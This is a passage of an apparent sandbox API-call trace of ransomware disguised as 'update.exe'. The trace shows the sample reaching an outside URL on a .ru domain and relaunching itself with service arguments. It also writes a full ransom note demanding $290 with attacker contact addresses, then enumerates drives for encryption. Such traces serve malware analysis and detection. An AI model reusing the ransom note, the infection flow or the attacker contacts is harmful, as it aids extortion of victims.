pNumArgs=0x18d0d0) returned 0x29e268*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0042.355] lstrcmpW (lpString1="IsAutoStart", lpString2="IsNotAutoStart") returned -1 [0042.357] lstrcmpW (lpString1="IsTask", lpString2="IsNotTask") returned 1 [0042.357] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x29ea58 [0042.359] OpenServiceW (hSCManager=0x29ea58, lpServiceName="MYSQL", dwDesiredAccess=0x20) returned 0x0 [0042.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x410720, lpParameter=0x29d098, dwCreationFlags=0x0, lpThreadId=0x44e630 | out: lpThreadId=0x44e630*=0x90c) returned 0xdc [0042.562] lstrlenA (lpString="http://paulmcnagets.ru/003/get.php") returned 34 [0042.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a5208, cbMultiByte=-1, lpWideCharStr=0x292c78, cchWideChar=35 | out: lpWideCharStr="http://paulmcnagets.ru/003/get.php") returned 35 [0042.562] lstrcatW (in: lpString1="", lpString2="http://paulmcnagets.ru/003/get.php" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0042.562] lstrlenA (lpString="") returned 0 [0042.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a5470, cbMultiByte=-1, lpWideCharStr=0x28dfb8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0042.562] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0042.562] lstrlenA (lpString="") returned 0 [0042.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a56d8, cbMultiByte=-1, lpWideCharStr=0x28dfd8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0042.562] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0042.562] lstrlenA (lpString="") returned 0 [0042.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a5940, cbMultiByte=-1, lpWideCharStr=0x28dfe8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0042.562] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0042.563] lstrlenA (lpString="") returned 0 [0042.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a5ba8, cbMultiByte=-1, lpWideCharStr=0x28dff8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0042.563] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0042.563] lstrlenA (lpString="") returned 0 [0042.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a5e10, cbMultiByte=-1, lpWideCharStr=0x28e008, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0042.563] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0042.563] lstrlenA (lpString="") returned 0 [0042.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a6078, cbMultiByte=-1, lpWideCharStr=0x28e018, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0042.563] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0042.563] lstrlenA (lpString="") returned 0 [0042.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a62e0, cbMultiByte=-1, lpWideCharStr=0x28e028, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0042.563] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0042.563] lstrlenA (lpString="") returned 0 [0042.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a6548, cbMultiByte=-1, lpWideCharStr=0x28e038, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0042.563] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0042.563] lstrlenA (lpString="") returned 0 [0042.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2a67b0, cbMultiByte=-1, lpWideCharStr=0x28e048, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0042.563] lstrcatW (in: lpString1="http://paulmcnagets.ru/003/get.php", lpString2="" | out: lpString1="http://paulmcnagets.ru/003/get.php") returned="http://paulmcnagets.ru/003/get.php" [0042.563] lstrlenW (lpString="") returned 0 [0042.563] GetAdaptersInfo (in: AdapterInfo=0x2a7c48, SizePointer=0x18d024 | out: AdapterInfo=0x2a7c48, SizePointer=0x18d024) returned 0x0 [0042.680] GetAdaptersInfo (in: AdapterInfo=0x2a7c48, SizePointer=0x18d024 | out: AdapterInfo=0x2a7c48, SizePointer=0x18d024) returned 0x0 [0042.683] GetLastError () returned 0x0 [0042.683] SetLastError (dwErrCode=0x0) [0042.683] GetLastError () returned 0x0 [0042.683] SetLastError (dwErrCode=0x0) [0042.683] GetLastError () returned 0x0 [0042.683] SetLastError (dwErrCode=0x0) [0042.683] GetLastError () returned 0x0 [0042.683] SetLastError (dwErrCode=0x0) [0042.683] GetLastError () returned 0x0 [0042.683] SetLastError (dwErrCode=0x0) [0042.683] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x18b440 | out: lpMode=0x18b440) returned 0 [0042.683] WriteFile (in: hFile=0xfffffffe, lpBuffer=0x18bb1c, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x18b448, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18b448, lpOverlapped=0x0) returned 0 [0042.683] GetLastError () returned 0x6 [0042.683] GetLastError () returned 0x6 [0042.683] SetLastError (dwErrCode=0x6) [0042.683] GetLastError () returned 0x6 [0042.683] SetLastError (dwErrCode=0x6) [0042.683] GetLastError () returned 0x6 [0042.683] SetLastError (dwErrCode=0x6) [0042.683] GetLastError () returned 0x6 [0042.683] SetLastError (dwErrCode=0x6) [0042.684] GetLastError () returned 0x6 [0042.684] SetLastError (dwErrCode=0x6) [0042.684] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x18b43c | out: lpMode=0x18b43c) returned 0 [0042.684] WriteFile (in: hFile=0xfffffffe, lpBuffer=0x18bb18, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18b444, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18b444, lpOverlapped=0x0) returned 0 [0042.684] GetLastError () returned 0x6 [0042.684] GetLastError () returned 0x6 [0042.684] SetLastError (dwErrCode=0x6) [0042.684] GetLastError () returned 0x6 [0042.684] SetLastError (dwErrCode=0x6) [0042.684] CryptAcquireContextW (in: phProv=0x18cff4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18cff4*=0x2a7dd8) returned 1 [0042.865] CryptCreateHash (in: hProv=0x2a7dd8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18cffc | out: phHash=0x18cffc) returned 1 [0042.865] CryptHashData (hHash=0x2b0a50, pbData=0x29ef58, dwDataLen=0x11, dwFlags=0x0) returned 1 [0042.866] CryptGetHashParam (in: hHash=0x2b0a50, dwParam=0x2, pbData=0x0, pdwDataLen=0x18cff8, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18cff8) returned 1 [0042.866] CryptGetHashParam (in: hHash=0x2b0a50, dwParam=0x2, pbData=0x29f3f8, pdwDataLen=0x18cff8, dwFlags=0x0 | out: pbData=0x29f3f8, pdwDataLen=0x18cff8) returned 1 [0042.866] GetLastError () returned 0x0 [0042.866] SetLastError (dwErrCode=0x0) [0042.866] GetLastError () returned 0x0 [0042.866] SetLastError (dwErrCode=0x0) [0042.866] GetLastError () returned 0x0 [0042.866] SetLastError (dwErrCode=0x0) [0042.866] GetLastError () returned 0x0 [0042.866] SetLastError (dwErrCode=0x0) [0042.866] GetLastError () returned 0x0 [0042.867] SetLastError (dwErrCode=0x0) [0042.867] GetLastError () returned 0x0 [0042.867] CryptDestroyHash (hHash=0x2b0a50) returned 1 [0042.867] CryptReleaseContext (hProv=0x2a7dd8, dwFlags=0x0) returned 1 [0042.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x411a80, lpParameter=0x44e648, dwCreationFlags=0x0, lpThreadId=0x44e638 | out: lpThreadId=0x44e638*=0x914) returned 0x164 [0043.102] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0xffffffff) returned 0x0 [0058.259] GetLastError () returned 0x0 [0058.259] lstrcpyW (in: lpString1=0x18dd98, lpString2="--ForNetRes " | out: lpString1="--ForNetRes ") returned="--ForNetRes " [0058.259] lstrcatW (in: lpString1="--ForNetRes ", lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" | out: lpString1="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" [0058.259] lstrcatW (in: lpString1="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", lpString2=" " | out: lpString1="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC ") returned="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC " [0058.259] lstrcatW (in: lpString1="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC ", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0058.259] lstrcpyW (in: lpString1=0x18d398, lpString2="\"" | out: lpString1="\"") returned="\"" [0058.259] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0058.259] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", lpString2="\" " | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" ") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" " [0058.259] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" ", lpString2="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0058.259] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", lpString2=" IsNotAutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsNotAutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsNotAutoStart" [0058.259] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsNotAutoStart IsNotTask") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsNotAutoStart IsNotTask" [0058.259] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsNotAutoStart IsNotTask", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d1e8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d0a4 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsNotAutoStart IsNotTask", lpProcessInformation=0x18d0a4*(hProcess=0x260, hThread=0x258, dwProcessId=0x9b4, dwThreadId=0x9b8)) returned 1 [0058.265] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x3c8 [0058.265] SetLastError (dwErrCode=0x0) [0058.265] GetCurrentProcessId () returned 0x904 [0058.265] lstrcatW (in: lpString1="2308", lpString2=" " | out: lpString1="2308 ") returned="2308 " [0058.265] lstrcatW (in: lpString1="2308 ", lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" | out: lpString1="2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned="2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" [0058.265] lstrcatW (in: lpString1="2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", lpString2=" " | out: lpString1="2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC ") returned="2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC " [0058.265] lstrcatW (in: lpString1="2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC ", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0058.265] lstrcpyW (in: lpString1=0x18e598, lpString2="\"" | out: lpString1="\"") returned="\"" [0058.265] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0058.266] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", lpString2="\" --Service " | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Service ") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Service " [0058.266] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Service ", lpString2="2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Service 2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Service 2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0058.266] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Service 2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d268*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d1a8 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Service 2308 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", lpProcessInformation=0x18d1a8*(hProcess=0x3e4, hThread=0x310, dwProcessId=0x9bc, dwThreadId=0x9c0)) returned 1 [0058.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40e230, lpParameter=0x44e648, dwCreationFlags=0x0, lpThreadId=0x44e628 | out: lpThreadId=0x44e628*=0x9c4) returned 0x3ec [0058.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", cchWideChar=-1, lpMultiByteStr=0x2ba688, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", lpUsedDefaultChar=0x0) returned 41 [0058.274] CryptAcquireContextW (in: phProv=0x18d064, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18d064*=0x2d2df8) returned 1 [0058.275] CryptCreateHash (in: hProv=0x2d2df8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18d068 | out: phHash=0x18d068) returned 1 [0058.275] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned 40 [0058.275] CryptHashData (hHash=0x2b5148, pbData=0x2baab8, dwDataLen=0x28, dwFlags=0x0) returned 1 [0058.275] CryptGetHashParam (in: hHash=0x2b5148, dwParam=0x2, pbData=0x0, pdwDataLen=0x18d06c, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18d06c) returned 1 [0058.275] CryptGetHashParam (in: hHash=0x2b5148, dwParam=0x2, pbData=0x29f638, pdwDataLen=0x18d06c, dwFlags=0x0 | out: pbData=0x29f638, pdwDataLen=0x18d06c) returned 1 [0058.275] GetLastError () returned 0x0 [0058.275] lstrcatA (in: lpString1="", lpString2="55" | out: lpString1="55") returned="55" [0058.275] GetLastError () returned 0x0 [0058.275] lstrcatA (in: lpString1="55", lpString2="11" | out: lpString1="5511") returned="5511" [0058.275] GetLastError () returned 0x0 [0058.275] lstrcatA (in: lpString1="5511", lpString2="15" | out: lpString1="551115") returned="551115" [0058.275] GetLastError () returned 0x0 [0058.275] lstrcatA (in: lpString1="551115", lpString2="89" | out: lpString1="55111589") returned="55111589" [0058.275] GetLastError () returned 0x0 [0058.275] lstrcatA (in: lpString1="55111589", lpString2="B0" | out: lpString1="55111589B0") returned="55111589B0" [0058.275] GetLastError () returned 0x0 [0058.275] lstrcatA (in: lpString1="55111589B0", lpString2="EC" | out: lpString1="55111589B0EC") returned="55111589B0EC" [0058.275] GetLastError () returned 0x0 [0058.275] lstrcatA (in: lpString1="55111589B0EC", lpString2="54" | out: lpString1="55111589B0EC54") returned="55111589B0EC54" [0058.275] GetLastError () returned 0x0 [0058.275] lstrcatA (in: lpString1="55111589B0EC54", lpString2="D4" | out: lpString1="55111589B0EC54D4") returned="55111589B0EC54D4" [0058.275] GetLastError () returned 0x0 [0058.275] lstrcatA (in: lpString1="55111589B0EC54D4", lpString2="AC" | out: lpString1="55111589B0EC54D4AC") returned="55111589B0EC54D4AC" [0058.275] GetLastError () returned 0x0 [0058.276] lstrcatA (in: lpString1="55111589B0EC54D4AC", lpString2="A0" | out: lpString1="55111589B0EC54D4ACA0") returned="55111589B0EC54D4ACA0" [0058.276] GetLastError () returned 0x0 [0058.276] lstrcatA (in: lpString1="55111589B0EC54D4ACA0", lpString2="E7" | out: lpString1="55111589B0EC54D4ACA0E7") returned="55111589B0EC54D4ACA0E7" [0058.276] GetLastError () returned 0x0 [0058.276] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7", lpString2="CA" | out: lpString1="55111589B0EC54D4ACA0E7CA") returned="55111589B0EC54D4ACA0E7CA" [0058.276] GetLastError () returned 0x0 [0058.276] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA", lpString2="15" | out: lpString1="55111589B0EC54D4ACA0E7CA15") returned="55111589B0EC54D4ACA0E7CA15" [0058.276] GetLastError () returned 0x0 [0058.276] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA15", lpString2="9C" | out: lpString1="55111589B0EC54D4ACA0E7CA159C") returned="55111589B0EC54D4ACA0E7CA159C" [0058.276] GetLastError () returned 0x0 [0058.276] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA159C", lpString2="C0" | out: lpString1="55111589B0EC54D4ACA0E7CA159CC0") returned="55111589B0EC54D4ACA0E7CA159CC0" [0058.276] GetLastError () returned 0x0 [0058.276] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA159CC0", lpString2="AB" | out: lpString1="55111589B0EC54D4ACA0E7CA159CC0AB") returned="55111589B0EC54D4ACA0E7CA159CC0AB" [0058.276] CryptDestroyHash (hHash=0x2b5148) returned 1 [0058.276] CryptReleaseContext (hProv=0x2d2df8, dwFlags=0x0) returned 1 [0058.276] lstrlenA (lpString="55111589B0EC54D4ACA0E7CA159CC0AB") returned 32 [0058.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18d070, cbMultiByte=-1, lpWideCharStr=0x2ba688, cchWideChar=1035 | out: lpWideCharStr="!readme.txt") returned 12 [0058.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ba688, cbMultiByte=-1, lpWideCharStr=0x2f68f8, cchWideChar=2165 | out: lpWideCharStr="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned 1142 [0058.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18d070, cbMultiByte=-1, lpWideCharStr=0x2ba688, cchWideChar=1033 | out: lpWideCharStr=".INFOWAIT") returned 10 [0058.280] GetUserNameW (in: lpBuffer=0x18db98, pcbBuffer=0x18d0d4 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18d0d4) returned 1 [0058.285] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0058.285] RegisterClassExW (param_1=0x18d050) returned 0xc13e [0058.285] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x601b2 [0058.315] NtdllDefWindowProc_W () returned 0x0 [0058.316] NtdllDefWindowProc_W () returned 0x1 [0058.317] NtdllDefWindowProc_W () returned 0x0 [0058.431] NtdllDefWindowProc_W () returned 0x0 [0058.431] ShowWindow (hWnd=0x601b2, nCmdShow=0) returned 0 [0058.431] UpdateWindow (hWnd=0x601b2) returned 1 [0058.431] GetLogicalDrives () returned 0x4 [0058.431] SetErrorMode (uMode=0x1) returned 0x0 [0058.431] PathFileExistsA (pszPath="C:\\") returned 1 [0058.431] SetErrorMode (uMode=0x0) returned 0x1 [0058.431] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0058.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x412350, lpParameter=0x2b90b0, dwCreationFlags=0x0, lpThreadId=0x2eb328 | out: lpThreadId=0x2eb328*=0x9c8) returned 0x408 [0058.433] GetMessageW (lpMsg=0x18d234, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) Thread: id = 15 os_tid = 0x90c [0042.672] GetLastError () returned 0x0 [0042.672] GetCurrentThreadId () returned 0x90c [0042.672] SetLastError (dwErrCode=0x0) [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.673] GetLastError () returned 0x0 [0042.673] SetLastError (dwErrCode=0x0) [0042.673] GetLastError () returned 0x0 [0042.673] SetLastError (dwErrCode=0x0) [0042.673] GetLastError () returned 0x0 [0042.673] SetLastError (dwErrCode=0x0) [0042.673] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76670000 [0042.673] GetProcAddress (hModule=0x76670000, lpProcName="SHGetFolderPathA") returned 0x76787804 [0042.673] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2aee20 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0042.675] UuidCreate (in: Uuid=0x860d768 | out: Uuid=0x860d768) returned 0x0 [0042.753] UuidToStringA (in: Uuid=0x860d768, StringUuid=0x860d6c0 | out: StringUuid=0x860d6c0) returned 0x0 [0042.852] RpcStringFreeA (in: String=0x860d6c0 | out: String=0x860d6c0) returned 0x0 [0042.852] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="ac0fced0-d42a-4728-a9f2-bdfd4590c238" | out: pszPath="C:\\Users\\5p5NrGJn0jS 